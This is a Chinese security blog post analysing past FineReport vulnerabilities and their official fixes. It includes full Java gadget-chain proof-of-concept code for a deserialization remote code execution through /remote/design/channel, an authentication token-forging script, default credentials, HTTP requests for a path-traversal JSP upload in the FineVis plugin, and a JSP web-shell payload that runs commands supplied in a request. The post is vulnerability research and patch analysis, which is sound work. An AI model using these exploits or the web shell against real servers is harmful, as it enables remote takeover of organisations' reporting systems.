帆软报表FineReport历史漏洞分析(二)
1diot9 Lv5

本文首发于先知社区:https://xz.aliyun.com/news/91802

前言

在上一篇文章(https://xz.aliyun.com/news/91753)中,对帆软FineReport的路由结构和SQL注入类漏洞进行了详细分析。

这篇文章主要对之前遗留的channel接口反序列化漏洞和FineVis文件上传漏洞进行分析,最后列举一下V8 V9老版本的一些漏洞。

弱口令

影响版本

img

漏洞分析

实际的内置用户,以管理员登录后的页面为准:

img

任意挑选一个用户,密码都为123456,即可登录后台。

官方修复

删除默认的内置用户,或手动修改密码。

/remote/design/channel反序列化

影响版本

V11只能后台利用,<=11.0.32 有利用链

V10能前台利用,全版本都有利用链

漏洞分析

反序列化点

官方通告中给出了路由:

img

搜索路由,找到对应类:

img

img

跟进onMessage,这里V11和V10版本有明显不同。

V10版本没有任何校验,直接对数据进行处理,能够前台利用:

img

而V11版本是有身份校验的,只能后台利用:

img

两者的序列化数据都直接作为请求体。

实际上,官方通报中的这几个漏洞,在V11都只能后台利用:

img

这里先不分析鉴权,继续分析反序列化点,跟进最后一行的com.fr.workspace.WorkContext#handleMessage:

img

继续跟进handleMessage:

img
img

这里就是反序列化点了,能够看出,使用的是SafeInvocationSerializer,且经过一层Gzip包裹。

反序列化链

这个漏洞本质上就是找反序列化链,而涉及到的反序列化链有很多文章都分析过,所以这里仅简单分析一下。

由于没法找到每个版本的黑名单,所以不清楚链子具体是在哪个版本被禁用的,部分链子仅能给出大致的修复版本。

另外,帆软中的第三方包都位于com/fr/third中,包名和正常的不一样,所以利用链都不能直接用工具生成,需要自己手写。

还有一件事,官方说的HSQL漏洞命令执行漏洞,实际就是这个接口的反序列化漏洞,只是最新的绕过用到了HSQL去调public static方法:

img

这里的拥有远程设计权限和封禁路由,都和channel反序列化对应。

黑名单对比

通过黑名单对比,能够知道每个版本新增的过滤类,从而反推链子。

黑名单位于:

img

对比脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
比较两个txt文件的行差异
找出增加的行和减少的行
"""

import argparse
from pathlib import Path


def compare_files(file1: str, file2: str) -> tuple[set, set]:
"""
比较两个文件的行差异

Args:
file1: 原始文件路径(基准文件)
file2: 新文件路径

Returns:
tuple: (增加的行集合, 减少的行集合)
"""
# 读取文件内容,去除每行首尾空白
with open(file1, 'r', encoding='utf-8') as f:
lines1 = {line.strip() for line in f if line.strip()}

with open(file2, 'r', encoding='utf-8') as f:
lines2 = {line.strip() for line in f if line.strip()}

# 计算差异
added = lines2 - lines1 # 在新文件中增加的行
removed = lines1 - lines2 # 在新文件中减少的行

return added, removed


def format_line(line: str, keyword: str | None) -> str:
"""
格式化输出行,如果包含关键词则用*标注

Args:
line: 要输出的行内容
keyword: 关键词(可选)

Returns:
格式化后的行
"""
if keyword and keyword in line:
return f" * {line} <--"
return f" {line}"


def main():
parser = argparse.ArgumentParser(
description='比较两个txt文件的行差异',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
示例:
python compare_txt.py old.txt new.txt
python compare_txt.py old.txt new.txt "Servlet"
python compare_txt.py old.txt new.txt "Servlet" --output result.txt
'''
)
parser.add_argument('file1', help='原始文件路径(基准文件)')
parser.add_argument('file2', help='新文件路径')
parser.add_argument('keyword', nargs='?', default=None, help='关键词,匹配的行会用*标注(可选)')
parser.add_argument('--output', '-o', help='输出结果到指定文件(可选)')
parser.add_argument('--sort', '-s', action='store_true', help='按字母顺序排序输出')

args = parser.parse_args()

# 检查文件是否存在
if not Path(args.file1).exists():
print(f"错误: 文件 '{args.file1}' 不存在")
return
if not Path(args.file2).exists():
print(f"错误: 文件 '{args.file2}' 不存在")
return

# 比较文件
added, removed = compare_files(args.file1, args.file2)

# 构建输出内容
output_lines = []
output_lines.append("=" * 60)
output_lines.append(f"基准文件: {args.file1}")
output_lines.append(f"比较文件: {args.file2}")
if args.keyword:
output_lines.append(f"关键词: {args.keyword}")
output_lines.append("=" * 60)

# 输出减少的行
output_lines.append(f"\n【减少的行】({len(removed)} 个)")
output_lines.append("-" * 40)
if removed:
sorted_removed = sorted(removed) if args.sort else removed
for line in sorted_removed:
output_lines.append(format_line(line, args.keyword))
else:
output_lines.append(" (无)")

# 输出增加的行
output_lines.append(f"\n【增加的行】({len(added)} 个)")
output_lines.append("-" * 40)
if added:
sorted_added = sorted(added) if args.sort else added
for line in sorted_added:
output_lines.append(format_line(line, args.keyword))
else:
output_lines.append(" (无)")

# 统计信息
# 读取文件获取行数
with open(args.file1, 'r', encoding='utf-8') as f:
count1 = len([l for l in f if l.strip()])
with open(args.file2, 'r', encoding='utf-8') as f:
count2 = len([l for l in f if l.strip()])

output_lines.append("\n" + "=" * 60)
output_lines.append("统计信息:")
output_lines.append(f" 基准文件行数: {count1}")
output_lines.append(f" 比较文件行数: {count2}")
output_lines.append(f" 减少行数: {len(removed)}")
output_lines.append(f" 增加行数: {len(added)}")
output_lines.append("=" * 60)

# 输出结果
result = '\n'.join(output_lines)
print(result)

# 保存到文件
if args.output:
with open(args.output, 'w', encoding='utf-8') as f:
f.write(result)
print(f"\n结果已保存到: {args.output}")


if __name__ == '__main__':
main()

我挑选了10.0.19,11.0.28,11.5.5,11.5.8进行对比,对比结果在:

https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8FineReport/blacklist

hibernate链

https://blog.potatowo.top/2024/11/01/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BHibernate/#%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90

HashMap + TypedValue + TemplatesImpl

img

hiberate依赖中的TypedValue#hashCode能够调用getter方法,可以接TemplatesImpl#getOutputProperties

调用栈(非帆软包名):

1
2
3
4
5
6
7
TypedValue.hashCode()
ValueHolder.DefferedInitializer.initialize()
org.hibernate.type.ComponentType#getHashCode(java.lang.Object)
org.hibernate.type.ComponentType#getPropertyValue(java.lang.Object, int)
org.hibernate.tuple.component.PojoComponentTuplizer.getPropertyValue-super->org.hibernate.tuple.component.AbstractComponentTuplizer#getPropertyValue
org.hibernate.property.access.spi.GetterMethodImpl#get
method.invoke()

这个是最早被禁的,目前基本用不了

TreeBag链

https://forum.butian.net/share/2806

TreeBag + ClassComparator + VersionComparator + POJONode

TreeBag位于cc或cc4依赖中,帆软中存在:

img

TreeBag#readObject能触发到compare。

com.fr.base.ClassComparator#compare能实例化一个Comparator,并调用其compare:

img

org.freehep.util.VersionComparator#compare能够调用toString

img

com.fr.third.fasterxml.jackson.databind.node.POJONode#toString能调用getter方法。

最后走java.security.SignedObject#getObject触发二次反序列化

调用栈:

1
2
3
4
5
6
7
org.apache.commons.collections.bag.TreeBag#readObject
java.util.TreeMap#put
java.util.TreeMap#compare
com.fr.base.ClassComparator#compare
org.freehep.util.VersionComparator#compare
com.fr.third.fasterxml.jackson.databind.node.POJONode#toString
java.security.SignedObject#getObject

这个在V10最后一个版本已经修复-2024.3.19-10.0.19;V11-2024.7.17-11.0.28已经修复(非最早修复版本)

img

TextAndMnemonicHashMap链

https://xz.aliyun.com/news/14869

https://blog.csdn.net/LiangYueSec/article/details/142096830

HashMap + HashTable + UIDefaults$TextAndMnemonicHashMap + JSONArray + DruidXADataSource + HSQL + 二次反序列化/JNDI

主要讲一下JSONArray。

com.fr.json.JSONArray

这里的JSONArray,跟fastjson的可不是同一个,不过其toString方法,仍然能触发getter调用。

跟进其toString方法。

img

img

img

如果学习过jackson POJO那条链子,对这个writeValueAsString应该有印象,这个就是能触发getter方法,下面是POJO链中的writeValueAsString位置:

img

不过这里略有不同,不能直接传入Object作为构造函数:

img

用ArrayList包一层即可:

img

这里触发的getter方法要换一个,因为之前的SignedObject已经ban了。

com.fr.third.alibaba.druid.pool.xa.DruidXADataSource#getXAConnection()能够触发JDBC连接,从而转化成JDBC利用:

img

帆软有HSQL的驱动,而HSQL在JDBC连接时,可以调用任意public static方法,从而进行二次反序列化或JNDI。

关于HSQL的利用,可以看浅蓝师傅和其他师傅的文章:

https://b1ue.cn/archives/458.html

https://xz.aliyun.com/news/9675

DruidXADataSource的构造:

1
2
3
4
5
6
7
8
9
10
11
12
DruidDataSource ds = new DruidXADataSource();
ds.setDriverClassName("com.fr.third.org.hsqldb.jdbcDriver");
ds.setUrl("jdbc:hsqldb:mem:test");
ds.setUsername("any");
ds.setPassword("");
ds.setInitialSize(1);
ds.setValidationQuery("CALL \"org.terracotta.modules.ehcache.collections.SerializationHelper.deserialize\"(X'" +serData+ "');");
ds.setLogWriter(null);
ds.setStatLogger(null);
// 无法序列化的就设置成 null
ReflectTools.setFieldValue(ds,"transactionHistogram",null);
ReflectTools.setFieldValue(ds,"initedLatch",null);

V10全没修;V11-2024.7.17-11.0.28已修复(非最早修复版本)

img

ImmutableSetMultimap链

ImmutableSetMultimap + UsingToStringOrdering + JSONArray

对比11.0.28和11.5.5的黑名单:

img

这里看一下com.fr.third.guava.collect.ImmutableSetMultimap:

img

这里一开始会反序列化一个comparator,之前的反序列化链中有通过compare触发toString的,所以这里可以再去找找,有没有不在黑名单中的compare方法。这里使用tabby对fine-cbb-11.0.jar进行分析:

1
2
3
4
5
6
match (source:Method {NAME0:"com.fr.third.guava.collect.ImmutableSetMultimap#readObject"})
match (sink:Method {NAME:"compare"})-[r:CALL]->(callee:Method{NAME0:"java.lang.Object#toString"})
call apoc.algo.allSimplePaths(source, sink, "CALL>|ALIAS>", 10) yield path
where none(n in nodes(path) where
n.CLASSNAME in ["所有黑名单类"])
return path,r,callee limit 1

img

最后找到了com.fr.third.guava.collect.UsingToStringOrdering#compare:

img

不过中间部分的链子有点问题,分析了一下不太能利用。

但是现在已经指定链子的开头和结尾了,这里结合jar-analyzer-mcp,让AI进行分析:

https://github.com/jar-analyzer/jar-analyzer

img

img

最终也是顺利给出了利用链,只花费了几分钟,不得不说jar-analyzer-mcp非常好用。

根据AI的回答,写一下前半段POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import com.fr.third.guava.collect.ImmutableSetMultimap;
import com.fr.third.guava.collect.Ordering;
import tools.ReflectTools;
import tools.UnsafeTools;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.Comparator;

public class channel2 {
public static void main(String[] args) throws Exception {
getPayload();
}

public static void getPayload() throws Exception {
ImmutableSetMultimap<String, Object> multimap = ImmutableSetMultimap.<String, Object>builder()
.put("key", new ToStringClass())
.put("key", "value2")
.build();

Ordering<Object> comparator = Ordering.usingToString();

// ImmutableSortedSet 没法获取对象,找了子类
Class<?> aClass = Class.forName("com.fr.third.guava.collect.RegularImmutableSortedSet");
Object sortedSet = UnsafeTools.getObjectByUnsafe(aClass);
ReflectTools.setFieldValue(sortedSet, "comparator", comparator);

ReflectTools.setFieldValue(multimap, "emptySet", sortedSet);

byte[] bytes = ReflectTools.ser2bytes(multimap);
ReflectTools.deser(bytes, null);

}
}

能够成功触发toString:

img

手动分析一下。

回到readObject:

img

看一下valuesBuilder:

img

这里显然返回ImmutableSortedSet.Builder。

所以应该跟进到com.fr.third.guava.collect.ImmutableSortedSet.Builder#build:

img

跟进sortAndDedup:

img

这里发现和上面AI给的链子不太一样,会直接进入Arrays.sort触发,跟进sort:

img

img

这里hi-lo=2,与ImmutableSetMultimap put的键值对数量有关,需要给同一个键put两个及以上的值才行。

跟进countRunAndMakeAscending:

img

最终在这里触发compare。

后面接DruidXADataSource.getXAConnection触发JDBC。

二次反序列化的方法选择org.terracotta.modules.ehcache.collections.SerializationHelper#deserialize

最终poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import com.fr.json.JSONArray;
import com.fr.third.alibaba.druid.pool.DruidDataSource;
import com.fr.third.alibaba.druid.pool.xa.DruidXADataSource;
import com.fr.third.guava.collect.ImmutableSetMultimap;
import com.fr.third.guava.collect.Ordering;
import com.fr.third.springframework.aop.framework.AdvisedSupport;
import tools.ReflectTools;
import tools.StringTools;
import tools.TemplatesGen;
import tools.UnsafeTools;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.Comparator;

public class channel2 {
public static void main(String[] args) throws Exception {
getPayload();
}

public static void getPayload() throws Exception {
String serData = getSerData();

DruidDataSource ds = new DruidXADataSource();
ds.setDriverClassName("com.fr.third.org.hsqldb.jdbcDriver");
ds.setUrl("jdbc:hsqldb:mem:test");
ds.setUsername("any");
ds.setPassword("");
ds.setInitialSize(1);
ds.setValidationQuery("CALL \"org.terracotta.modules.ehcache.collections.SerializationHelper.deserialize\"(X'" +serData+ "');");
ds.setLogWriter(null);
ds.setStatLogger(null);
ReflectTools.setFieldValue(ds,"transactionHistogram",null);
ReflectTools.setFieldValue(ds,"initedLatch",null);


ArrayList<Object> list = new ArrayList<>();
list.add(ds);

JSONArray jsonArray = new JSONArray();
jsonArray.add(list);

ImmutableSetMultimap<String, Object> multimap = ImmutableSetMultimap.<String, Object>builder()
.put("key", jsonArray)
.put("key", "value2")
.build();

Ordering<Object> comparator = Ordering.usingToString();

// ImmutableSortedSet 没法获取对象,找了子类
Class<?> aClass = Class.forName("com.fr.third.guava.collect.RegularImmutableSortedSet");
Object sortedSet = UnsafeTools.getObjectByUnsafe(aClass);
ReflectTools.setFieldValue(sortedSet, "comparator", comparator);
ReflectTools.setFieldValue(multimap, "emptySet", sortedSet);

byte[] bytes = ReflectTools.ser2bytes(multimap);
ReflectTools.deser(bytes, null);

}

public static String getSerData() throws Exception {
Templates templates = TemplatesGen.getTemplates1(null, "D:/1tmp/classes/CalcAbs.class");
ArrayList<Object> list = new ArrayList<>();


Class<?> clazz = Class.forName("com.fr.third.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

list.add(proxy);

JSONArray jsonArray = new JSONArray();
jsonArray.add(list);

BadAttributeValueExpException bad = new BadAttributeValueExpException("any");
ReflectTools.setFieldValue(bad, "val", jsonArray);

byte[] bytes = ReflectTools.ser2bytes(bad);
String s = StringTools.bytesToHexString(bytes);
return s;
}
}

如果要打帆软,外面还得包一层GZip:

1
2
3
ByteArrayOutputStream baos = new ByteArrayOutputStream();
GZipSerializerWrapper.wrap(JDKSerializer.getInstance()).serialize((Serializable) multimap, baos);
byte[] byteArray = baos.toByteArray();

用到的Tools类在我的仓库:https://github.com/1diot9/MyJavaSecStudy/tree/main/tools

调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
at com.fr.third.alibaba.druid.pool.xa.DruidXADataSource.getXAConnection(DruidXADataSource.java:46)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at com.fr.third.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:688)
at com.fr.third.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:772)
at com.fr.third.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178)
at com.fr.third.fasterxml.jackson.databind.ser.impl.IndexedListSerializer.serializeContents(IndexedListSerializer.java:119)
at com.fr.third.fasterxml.jackson.databind.ser.impl.IndexedListSerializer.serialize(IndexedListSerializer.java:79)
at com.fr.third.fasterxml.jackson.databind.ser.impl.IndexedListSerializer.serialize(IndexedListSerializer.java:18)
at com.fr.third.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:479)
at com.fr.third.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:318)
at com.fr.third.fasterxml.jackson.databind.ObjectMapper._writeValueAndClose(ObjectMapper.java:4719)
at com.fr.third.fasterxml.jackson.databind.ObjectMapper.writeValueAsString(ObjectMapper.java:3964)
at com.fr.json.revise.EmbedJson.encode(EmbedJson.java:99)
at com.fr.json.JSONArray.encode(JSONArray.java:560)
at com.fr.json.JSONArray.toString(JSONArray.java:590)
at com.fr.third.guava.collect.UsingToStringOrdering.compare(UsingToStringOrdering.java:29)
at java.util.TimSort.countRunAndMakeAscending(TimSort.java:355)
at java.util.TimSort.sort(TimSort.java:220)
at java.util.Arrays.sort(Arrays.java:1512)
at com.fr.third.guava.collect.ImmutableSortedSet$Builder.sortAndDedup(ImmutableSortedSet.java:454)
at com.fr.third.guava.collect.ImmutableSortedSet$Builder.build(ImmutableSortedSet.java:564)
at com.fr.third.guava.collect.ImmutableSortedSet$Builder.build(ImmutableSortedSet.java:429)
at com.fr.third.guava.collect.ImmutableSetMultimap.readObject(ImmutableSetMultimap.java:630)

V11-2025.3.31-11.0.32修复

V11 鉴权分析

反序列化链讲完了,不过V11版本只能后台执行。现在分析一下,知道账密的情况下,如何进行后台利用。

目标是通过validate:

img

能看出来需要一个token,但是哪里产生token呢?下面来分析一下。

漏洞的路由是,/remote/design/channel,即远程设计相关的一个接口。这里的远程设计指什么?我们知道,帆软报表下载好后,我们都是通过一个designer.exe启动,这就是设计器。我们也可以通过web端进行登录,这个就是服务器。而远程设计,就是指服务器部署在远端,而本地只安装了设计器,我们想要在本地编辑远程的报表,那就需要通过登录,连接到远程的服务器。

参考官方文档,https://help.fanruan.com/finereport/doc-view-1388.html?source=3,文档的第三部分有提到怎么连接远程服务器。这里我们按照文档步骤,在设计器里尝试连接,同时在wireshark里对8075端口的流量进行捕捉:

img

img

img

最终就能获取到进行远程登录时,依次访问了哪几个路由:

/webroot/decision/remote/design/vt 返回是否支持远程登录

/webroot/decision/remote/design/check 返回各种密钥:

img

/webroot/decision/remote/design/verify 发送用户名,加密后的密码等,返回jwt,即token,这里需要注意一个请求头transEncryptLevel: 1,这个请求头告诉服务器用什么解密方式:

img

虽然现在能够通过抓包获取jwt,但是如果能够知道怎么在代码中直接加密的话,就不用每次都抓包了。所以现在分析一下/remote/design/verify中password的解密过程,尝试反推出加密。

/design/verify对应com.fr.decision.extension.report.api.remote.RemoteDesignResource#saferGetRemoteToken

解密的方法已经明确,这里直接让AI进行分析:

img

不过AI一开始只给出了AES情况和SM4情况的脚本,把/check返回的结果给AI,再次分析:

img

于是知道了这里应该使用RSA,加密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

def encrypt_password(plain_password: str, encryption_key: str) -> str:
"""
加密远程设计密码

Args:
plain_password: 明文密码
encryption_key: 从 /remote/design/check 接口获取的 encryptionKey

Returns:
Base64 编码的加密密码
"""
# 1. 准备 16 字节密钥(取前 16 字节,不足补零)
key_bytes = encryption_key.encode('utf-8')[:16]
key_bytes = key_bytes.ljust(16, b'\x00')

# 2. 准备明文数据
plain_bytes = plain_password.encode('utf-8')

# 3. PKCS5/PKCS7 填充
padded_data = pad(plain_bytes, AES.block_size)

# 4. AES/ECB 加密
cipher = AES.new(key_bytes, AES.MODE_ECB)
encrypted_bytes = cipher.encrypt(padded_data)

# 5. Base64 编码
return base64.b64encode(encrypted_bytes).decode('utf-8')


# 使用示例
if __name__ == "__main__":
# 从 check 接口获取的密钥
encryption_key = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy4eFv3OWpYQbMztQKuilH5LDCasAphTa\r\nXw5Vodtt4accTo57w42iL6nJ8PsnsC/NvSp0JyluMYtkOBVv75GUCyO5PEP/Oe6AgrEGeP5GXzky\r\nW7us4Qm7Ss71WLPqNhwgkPdzC16aJuwTthLheNGL9XIP7ogmB7EAgSi44ut2B/zknO20ODzWnaR4\r\nExHDo2LpaX0BJszKhSi61k6K81WVl7jFLWflBsx8JCxDIUeX+gG1/d0Rt+ki0MHwbgdSIouQNvRh\r\n1J7pcOIwIQ9gTbvJ/Tu5i1YQM/p2yJo4x5KXIJXBgkAJJgR4USPSxq0b/wNMgfMf7YfspjBdlbUk\r\n+x/7mwIDAQAB"

# 明文密码
password = "password"

# 加密
encrypted = encrypt_password(password, encryption_key)
print(f"加密后的密码: {encrypted}")

发包验证:

img

成功获取到jwt。

在发送请求包时,在请求头中加入username和token字段即可后台利用。虽然一般不会给测试用户分配远程设计权限,但还是可以尝试一下,配合前面的弱口令漏洞进行利用。

无权限用户返回:

img

官方修复

先看一下官方黑名单的位置:

img

再看一下具体是怎么加载黑名单的。

其序列化工具类SerializerHelper中有一个方法safeDeserialize:

img

默认调用SafeSerializerSummaryAdaptor进行反序列化,跟进deserialize:

img

再跟进safeDeserialize,deserialize:

img

这里使用了自定义的ObjectInputStream进行反序列化。

看一下CustomObjectInputStream:

img

实现了resolveClass,并在静态代码块中加载了黑名单。

除了直接使用com.fr.serialization.SerializerHelper#safeDeserialize,有时候还会使用deserialize并传入SafeInvocationSerializer,流程本质也一样:

img

FineVis插件任意文件写入

漏洞版本插件:https://github.com/1diot9/MyJavaSecStudy/tree/main/CodeAudit/%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8FineReport/plugins

然后去web端的插件管理中,选择从本地安装即可。

影响版本

img

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /webroot/decision/view/duchamp/theme/item/copy HTTP/1.1
Host: localhost:8075
Content-Type: application/x-www-form-urlencoded

id=test&sourceID=test&config={}

POST /webroot/decision/view/duchamp/theme/attach?id=test&attachID=111&metadata=%7B%22name%22%3A%22../../../../test.jsp%22%7D HTTP/1.1
Host: localhost:8075
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

<% out.println("test321abc") %>
----WebKitFormBoundary7MA4YWxkTrZu0gW--

POST /webroot/decision/view/duchamp/theme/resource2template HTTP/1.1
Host: localhost:8075
Content-Type: application/json

{"id":"test","attachIDs":["111"],"reuseIDs":[""],"tplPath":""}

GET /webroot/test.jsp HTTP/1.1
Host: localhost:8075

漏洞分析

POC中的三个路由对应三个方法,一个个看。

1、注册模板

com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService#copy:

img

跟进copy:

img

这里根据sourceID去FVSTemplateStyleConfig里取出FVSTemplateStyle。不过可以看到,就算sourceID没有对应的模板,也会在if里new一个。所以sourceID随便写就行。

最后一行会在FVSTemplateStyleConfig更新模板,传入的id与模板对应。

2、上传模板图片

com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService#uploadAttachImage:

img

跟进:

img

首先从模板配置中根据id取出模板,所以这里的id得跟第一个请求中的一样。

然后向模板中添加附件图片,附件图片与attachID关联。

接着向模板中添加附件元数据,附件元数据也与attachID关联。

最后根据id更新模板配置中的模板。

156、157那两行就是负责从请求中取数据的。

3、应用附件图片到模板

com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestService#applyThemeResource2Tpl:

img

跟进com.fr.plugin.wysiwyg.web.controller.DuchampThemeRequestHelper#applyThemeResource2Tpl:

img

跟进id从模板配置中取出模板。

根据模板中的attachID,依次取出相应的附件图片。

从元数据中取出name字段,作为写入路径。

将图片写入指定路径。

最后整理一下涉及到的几个关键类

img

官方修复

最新的4.7.1版本插件中,后面两个请求对应的方法都已经被删除:

img

V8 V9老版本漏洞

因为版本比较老,利用性不高,所以这里仅列举,不做分析,不确保payload能使用。

1、local_install 文件上传

https://forum.butian.net/share/2390

这个是 V8 版本的漏洞了

2、op=chart&cmd=get_geo_json 任意文件读取 + fr_log命令执行

https://forum.butian.net/share/2390

V8 版本漏洞

3、任意文件覆盖漏洞

https://github.com/z1bracd/SecurityList/blob/5a99da1aa91685827c1e72429fff9dc63ce7967c/Java_OA/FineReportAudit.md#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%A6%86%E7%9B%96%E6%BC%8F%E6%B4%9E

1
2
3
POST /WebReport/ReportServer?op=svginit&cmd=design_save_svg&filePath=chartmapsvg/../../../../WebReport/shell.svg.jsp HTTP/1.1

{"__CONTENT__":"<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}%>","__CHARSET__":"UTF-8"}

V9 版本漏洞

4、实战深度利用

https://mp.weixin.qq.com/s/AgMYcyq_TE4X8MvZ7cjiPQ

附录

主要记录一些官方文档的位置:

https://help.fanruan.com/finereport/doc-view-4833.html 安全漏洞声明

https://help.fanruan.com/finereport/doc-view-1388.html?source=3 远程设计相关

参考

https://blog.potatowo.top/2024/11/01/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BHibernate/#%E7%AE%80%E5%8D%95%E5%88%86%E6%9E%90

https://forum.butian.net/share/2806

https://blog.csdn.net/LiangYueSec/article/details/142096830

https://xz.aliyun.com/news/14869

https://b1ue.cn/archives/458.html

https://xz.aliyun.com/news/9675

https://forum.butian.net/share/2390

https://github.com/z1bracd/SecurityList/blob/5a99da1aa91685827c1e72429fff9dc63ce7967c/Java_OA/FineReportAudit.md#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%A6%86%E7%9B%96%E6%BC%8F%E6%B4%9E

https://mp.weixin.qq.com/s/AgMYcyq_TE4X8MvZ7cjiPQ

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 167.7k 访客数 访问量